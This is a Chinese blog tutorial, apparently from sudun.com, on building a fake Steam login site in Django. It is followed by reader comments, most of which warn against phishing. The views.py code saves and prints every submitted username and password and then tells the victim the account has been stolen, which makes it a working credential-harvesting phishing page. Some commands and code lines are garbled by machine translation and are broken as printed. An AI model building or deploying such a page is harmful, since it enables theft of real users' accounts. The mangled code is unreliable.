大家好,如果您还对使用Python Django搭建一个简单的steam钓鱼网站,每条鱼都会准确无误不太了解,没有关系,今天就由本站为大家分享使用Python Django搭建一个简单的steam钓鱼网站,每条鱼都会准确无误的知识,包括的问题都会给大家分析到,还望可以解决大家的问题,下面我们就开始吧!
今天我们的目的就是搭建这样一个网站后台,简单的还原一下你的账户被黑的过程。
环境搭建
安装Django模块
pip install django[==版本] 如:pip install django==3.0
安装指定版本的django
创建Django项目
命令指示器中的数据命令
django-admin 启动项目steam_web
manage.py 是一个命令文件。如果你想运行Django的内置命令,你必须传递这个文件。
创建子应用
将网站的各个模块拆分为子应用
python 管理.py startapp 登录
会生成一个登录文件,打开该文件
介绍下我们会用到的文件
models.py文件:数据模型
views.py文件:用于控制页面逻辑
查看项目是否环境配置成功
可以直接用pycharm打开文件,点击运行
运行后会给出一个域名,点击打开
如果出现以下页面,则说明项目环境已经配置成功。
开始实现功能
点击进入settings.py文件,进行定制化修改
静态页面中的文件夹配置并在总目录中创建静态文件夹
STATIC_URL=’/static/’STATICFILES_DIRS=[ os.path.join(BASE_DIR, ‘static’),]
导入所需文件
开始编写数据模型
打开**models.py文件,需要创建模型类
from django.db import models# 在这里创建你的模型。class User(models.Model): name=models.CharField(max_length=20) pwd=models.CharField(max_length=20)
编写视图
打开views.py 文件并write View是控制网站和用户交互的逻辑。
# 将html 文件渲染到浏览器from django.shortcuts import renderfrom django.views.generic import Viewfrom .models import Userfrom django.http import HttpResponse# 在此处创建您的视图。# 在浏览器中显示网站主页def index(request): return render(request, ‘index.html’)# Login class view class Login(View): def get(self, request): return render(request, ‘denlu.html’, locals()) ”’ 当用户页面中已输入一些数据,可以使用post ”’ def post(self, request): name=request.POST.get(‘username’) pwd=request.POST.get(‘password’) User 接收.objects .create(name=name, pwd=pwd).save() print(name) print(pwd) return HttpResponse(‘您的账户已被盗走~’)
在urls.py文件里编写路由
from django.contrib import adminfrom django .urls import pathfrom login.views import index, Loginurlpatterns=[ path(‘admin/’, admin.site.urls), path(”, index, name=’index’), path(‘login/’, Login . as_view(), name=’login’)]
同步数据库
因为只是一个教程,所以我使用内置的:sqlite3,一个文件类型的小型数据库。
点击打开后,这里输入makemigrations,这是一个Python脚本,编译数据模型中的字段,包含sql语言。
确认后,将为您生成一个0001_initial.py 文件。
然后执行脚本,输入migrate,将数据模型映射到数据库。
运行文件,效果如下图
选择点击登录,输入账号密码,点击确定
然后你的账户密码就会被打印出来
原创文章,作者:小su,如若转载,请注明出处:https://www.sudun.com/ask/186509.html
用户评论
高冷低能儿
这也太吓人了!感觉这样太容易让人上当受骗了,真的不会有人做这种事吧?
有7位网友表示赞同!
命该如此
厉害了!Django搞这么个东西还挺简单的吗?我也想学,学习了这个是不是能赚点钱啊?
有7位网友表示赞同!
爱你心口难开
标题恶意满满的!钓鱼网站是犯罪行为,不要用你的技术去危害他人。想想受害者的痛苦吧!希望这篇文章能提醒大家提高警惕,谨防上当。
有11位网友表示赞同!
秘密
这篇文章写的挺好,解释很清晰易懂,我之前没接触过Django,现在对这个框架感觉很有兴趣了,打算试试搭建一个简单的网站学习一下。
有12位网友表示赞同!
慑人的傲气
说的太对了!现在的年轻人很多都缺乏安全意识,很容易被钓鱼网站骗。这种网站的危害非常大,希望大家都能提高警惕,不要轻易点击不明链接或输入敏感信息。
有7位网友表示赞同!
夏以乔木
这个“一钓一个准”也太直白了吧?应该强调一下搭建这样的网站是违法的,传播负能量可不是什么好行为。
有6位网友表示赞同!
搞搞嗎妹妹
我觉得这篇文章挺有趣的,Django的确是一个强大的框架,可以用来开发各种各样的网站。只是不知道作者有没有考虑过技术的伦理问题呢?
有5位网友表示赞同!
ゞ香草可樂ゞ草莓布丁
建议把文章改成“用Python Django搭建一个安全可信的网站”,标题不能误导读者,这样太容易引起误解了。
有15位网友表示赞同!
身影
钓鱼网站确实很可怕,我曾经被骗过了,还好及时发现和处理了,现在每次浏览网站都要提高警惕,查看网站域名是否可靠,链接是否安全。
有9位网友表示赞同!
无所谓
这位作者是不是个黑客?感觉他的技术很有用,但我建议他把这种技能用在正向的方面,比如开发一些安全软件来保护大家!
有7位网友表示赞同!
昂贵的背影
Django真是太灵活了,可以用来做各种用途吧!不过还是需要注意文章内容的伦理问题,有些信息不能公开传播。
有13位网友表示赞同!
熏染
这篇文章给我的感觉有点刺激啊!我之前就对Python Django感兴趣,现在更想尝试一下了,或许能做出一些有意思的东西呢!
有20位网友表示赞同!
坏小子不坏
钓鱼网站很可怕,但我也觉得Django这个框架真的很厉害,可以用来开发各种各样的功能。希望能看到更多关于 Django 的正规教程和应用案例!
有6位网友表示赞同!
作业是老师的私生子
希望这位作者能把技术用于正当用途,用他的技能创造一些有益于社会的东西! 建造一个更安全、更美好的网络环境才是我们的目标!
有16位网友表示赞同!
玻璃渣子
这篇文很吸引我,Django的框架的确强大,可以做很多事情啊!不过钓鱼网站这种行为太危险了,希望大家都能提高警惕,保护好自己
有8位网友表示赞同!
不相忘
作者写的真棒!Django搭建网站简单易学,而且功能强大,我也想去尝试一下!
有7位网友表示赞同!
鹿叹
标题有点吓人,感觉这个程序能“一钓一个准”也太可怕了吧!大家要小心谨慎,不要轻易上钩!
有12位网友表示赞同!